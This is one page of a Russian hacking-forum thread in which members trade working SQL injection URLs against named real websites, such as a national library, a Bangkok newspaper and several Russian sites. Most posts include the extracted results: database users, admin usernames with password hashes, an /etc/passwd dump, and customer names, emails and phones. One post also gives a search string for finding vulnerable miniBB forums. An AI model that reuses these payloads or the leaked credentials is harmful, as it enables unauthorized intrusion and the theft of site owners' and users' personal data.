SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 175 of 798
  1. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    autoindex.ru
    Code:
    http://www.autoindex.ru/news/index.php?id_cat=&page=1&id_news=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9,10/*&ye=200
    4.1.18:autoindex:root@localhost
    Code:
    http://www.autoindex.ru/news/index.php?id_cat=&page=1&id_news=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(load_file(0x2f6574632f706173737764),0x71),0x71)),4,5,6,7,8,9,10+from+mysql.user/*&ye=200
     
    #3481 fRg, 31 Oct 2007
  2. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    Российская национальная библиотека
    HTML:
    http://www.nlr.ru/news/vid_news.php?id=-641+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
     
    #3482 KEHT33, 31 Oct 2007
    1 person likes this.
  3. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Раскручивай дальше:
    Code:
    http://www.nlr.ru/news/vid_news.php?id=-641+UNION+SELECT+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
    5.0.18-Debian_9-log:nlr_news:news_admin@localhost

    28 таблиц:
    Code:
    http://www.nlr.ru/news/vid_news.php?id=-641+UNION+SELECT+1,2,aes_decrypt(aes_encrypt(table_name,0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+information_schema.tables+limit+27,1/*
    и т.д.
     
    #3483 fRg, 31 Oct 2007
    1 person likes this.
  4. phol1eadeux

    phol1eadeux Elder - Старейшина

    Joined:
    7 Aug 2007
    Messages:
    108
    Likes Received:
    48
    Reputations:
    -1
    Газета Панорама TV
    +++++++++++++++++++
    Инъекция:
    Code:
    http://www.pantv.ru/pantv/partners.asp?re=(SQL-inj)&re1=partner
    Нашел одну стоящую таблицу PANTVRazdel. Сайт, вероятно, обновляется не через WEB.
    Колонки таблицы:
    PANTVRazdel_ID
    PANTVRazdel_Name
    PANTVRazdel_Active
    PANTVRazdel_URL
    PANTVRazdel_Menu
     
    #3484 phol1eadeux, 31 Oct 2007
    1 person likes this.
  5. Серенький

    Серенький Banned

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    Есть вывод и без лимита:
     
    #3485 Серенький, 31 Oct 2007
    2 people like this.
  6. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Code:
    http://www.vdr.com.ua/cat.php?id=-1+UNION+SELECT+1,concat(user(),0x3a,database(),0x2a,version()),3,4/*
    Code:
    http://www.mastercity.ru/arch/show_content.php?id=74'+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8+from+admin/*
    admin:711de2ca756942dc
    http://www.mastercity.ru/admin
     
    #3486 v1ru$, 31 Oct 2007
    6 people like this.
  7. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    Нет админки

    http://dalmacija.net/site/articles/articleshow.php?id=-1+union+select+1,2,3,concat(username,char(58),password,char(58)),5,6,7,8,9,10,11+from+users/*
    http://www.rollerclub.ru/agressive/view/fullview.php?id=-1+union+select+1,2,3,4,5,6,concat(name,char(58),password,char(58),user_email),8,9,10,11,12,13+from+users+limit+1,1/*
     
    #3487 JIyka, 31 Oct 2007
    Last edited: 31 Oct 2007
    2 people like this.
  8. -MoLoToK-

    -MoLoToK- Elder - Старейшина

    Joined:
    4 Oct 2007
    Messages:
    30
    Likes Received:
    23
    Reputations:
    3
    Code:
    http://www.muskoka.ambulance.ca/articleshow.php?article=-1+UNION+SELECT+1,convert(version(),binary),3,4,5,6,convert(user(),binary)/*
    4.1.16
    masnews@localhost
    Фильтрует скобку
     
    #3488 -MoLoToK-, 31 Oct 2007
    Last edited: 31 Oct 2007
    3 people like this.
  9. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.ecom-info.spb.ru/indicators/print.php?id=-428+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(version(),user(),database()),system_user(),16,17,18,19,20,21,22,23,24,25,26/*
     
    #3489 K1nD[e]R, 31 Oct 2007
  10. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    http://www.widgetmonkey.com/detail.php?id=-1+union+select+1,user(),3,4,database()/*
     
    #3490 JIyka, 31 Oct 2007
    1 person likes this.
  11. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.murom.ru/article.php?sid=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2f,version(),database(),user()),11,12/*

    4.0.24-log/nuke/show@localhost

    ----------------------------------------------------------------------

    http://www.olimp.chita.ru/photos.php?upid=-1+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9,10/*

    5.0.27/m$olymp/m$olymp@localhost



    http://www.olimp.chita.ru/photos.php?upid=-1+union+select+1,2,3,concat_ws(0x2F,username,password),5,6,7,8,9,10+from+auth_user/*

    логин\пас не хеш.
     
    #3491 ElteRUS, 31 Oct 2007
    1 person likes this.
  12. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.nlr.ru/news/vid_news.php?id=-723+union+select+1,2,3,load_file('etc/passwd'),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
     
    #3492 K1nD[e]R, 31 Oct 2007
  13. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.big6.com/showarticle.php?id=-415+union+select+concat(user(),version(),database()),2,3,4,5/*
    big6@localhost
     
    #3493 K1nD[e]R, 31 Oct 2007
  14. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    ekaterininskiy.ru

    http://www.ekaterininskiy.ru/index.php?page=catalog&top=-1+union+select+concat_ws(0x2F,version(),database(),user()),2/*

    5.0.41-log/ekaterininskiy/[email protected]



    http://www.ekaterininskiy.ru/index.php?page=catalog&top=-1+union+select+1,concat_ws(0x2F,login,password)+from+users/*

    логин/хеш



    http://www.ekaterininskiy.ru/index.php?page=catalog&top=-1+union+select+1,concat_ws(0x2F,login,password)+from+ekat_admin/*

    admin/5f4dcc3b5aa765d61d8327deb882cf99
     
    #3494 ElteRUS, 31 Oct 2007
    3 people like this.
  15. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.abandoned.ru/pic.php?id=-363+union+select+1,2,3,concat(user(),version()),5,6/*
    uryevich@localhost:4.0.18
     
    #3495 K1nD[e]R, 31 Oct 2007
  16. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://www.3d02.com/html_Gallery/gallery_still_image.asp?id=1536+or+1=(SELECT+TOP+1+cast(user+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+Admin)--
    Логин пароль Админа
    http://www.3d02.com/admin
    Но почему-то не подходит :(
     
    #3496 Xszz, 1 Nov 2007
  17. ЛифчиС5СВ

    ЛифчиС5СВ Elder - Старейшина

    Joined:
    9 Mar 2007
    Messages:
    164
    Likes Received:
    141
    Reputations:
    12
    Привед БанкокчеГи
    Bangkok's Independent Newspaper
    Code:
    http://www.nationmultimedia.com/qvote/view_poll.php?page=12&pid=900+union+select+1,2
    Не подобрал, но очень удобно говорят, что кол-во столбцов неверное, и на таком-то сайте! Красотища! = )
    > 10 столбцов.
     
    #3497 ЛифчиС5СВ, 1 Nov 2007
  18. -MoLoToK-

    -MoLoToK- Elder - Старейшина

    Joined:
    4 Oct 2007
    Messages:
    30
    Likes Received:
    23
    Reputations:
    3
    вроде так и есть 2 столбца
    Code:
    http://www.nationmultimedia.com/qvote/view_poll.php?page=12&pid=-1+union+select+1,convert(concat(user(),0x3a,database(),0x2a,version()),binary)/*
    выводит версию,DB,юзера
    Оба таблица mysql.user
    Code:
    http://www.nationmultimedia.com/qvote/view_poll.php?page=12&pid=-1+union+select+1,convert(concat(user,0x3a,password),binary)+from+mysql.user/*
    root:6b21310545272925
    Code:
    http://www.nationmultimedia.com/qvote/view_poll.php?page=12&pid=-1+union+select+1,convert(concat(load_file(0x2f6574632f706173737764)),binary)+from+mysql.user/*
    root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:eek:perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash sshd:x:74:74:privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin gdm:x:42:42::/var/gdm:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash hpsmh:x:79:79::/hpsmh:/sbin/nologin ftpnation:x:500:50:ftp user:/content:/bin/bash tee:x:501:501::/home/tee:/bin/bash njrooms:x:502:100::/content2/njrooms:/bin/bash nes:x:503:100::/content2/nes:/bin/bash worldfilmbkk:x:504:100::/content2/worldfilmbkk:/bin/bash njconnex:x:505:100::/content2/njconnex:/bin/bash internet:x:506:50:k nim request add:/content/images_news:/bin/bash slideshow:x:507:50:ftp user:/content/slideshow:/bin/bash
     
    #3498 -MoLoToK-, 1 Nov 2007
    Last edited: 1 Nov 2007
    4 people like this.
  19. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    kaosweaver.com
    Code:
    http://www.kaosweaver.com/ExtensionsHelp/kaoshelp.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4/*
    5.0.27-standard:kaosweav_kwmaster:kaosweav_kuserdb@localhost
    76 таблиц:
    Code:
    http://www.kaosweaver.com/ExtensionsHelp/kaoshelp.php?id=-1+union+select+table_name,2,3,4+from+information_schema.tables+limit+75,1/*
    Из интересных таблиц - bbs_users и tblMembers.
    В bbs_users есть поля: username, password, email, url, jabber, realname, icq, msn, aim, yahoo.
    А в tblMembers есть поля m_firstName, m_lastName, m_password, m_email, m_phone ну и адрес,
    факс и прочая херь...
    Code:
    http://www.kaosweaver.com/ExtensionsHelp/kaoshelp.php?id=-1+union+select+concat_ws(0x3a,m_firstName,m_lastName,m_password,m_email,m_phone),2,3,4+from+tblMembers+limit+0,1/*
     
    #3499 fRg, 1 Nov 2007
  20. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    SQL-inj в miniBB<=2.1
    Поиск в Гугл: "forum script miniBB"

    Пример: _www.icealeko.ru/forums
    Code:
    _http://www.icealeko.ru/forums/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*
    Получаем вывод в HEX (без кодирования, а так же с AES_DECRYPT(AES_ENCRYPT()) вывода нет):
    Code:
    7A6176676172203530373434336430323063666261353833636166306631636539653536323163
    Конвертируем HEX->ASCII - получаем логин и хэш
    Code:
    zavgar 507443d020cfba583caf0f1ce9e5621c
     
    #3500 -=lebed=-, 1 Nov 2007
    4 people like this.
(You must log in or sign up to post here.)
Page 175 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.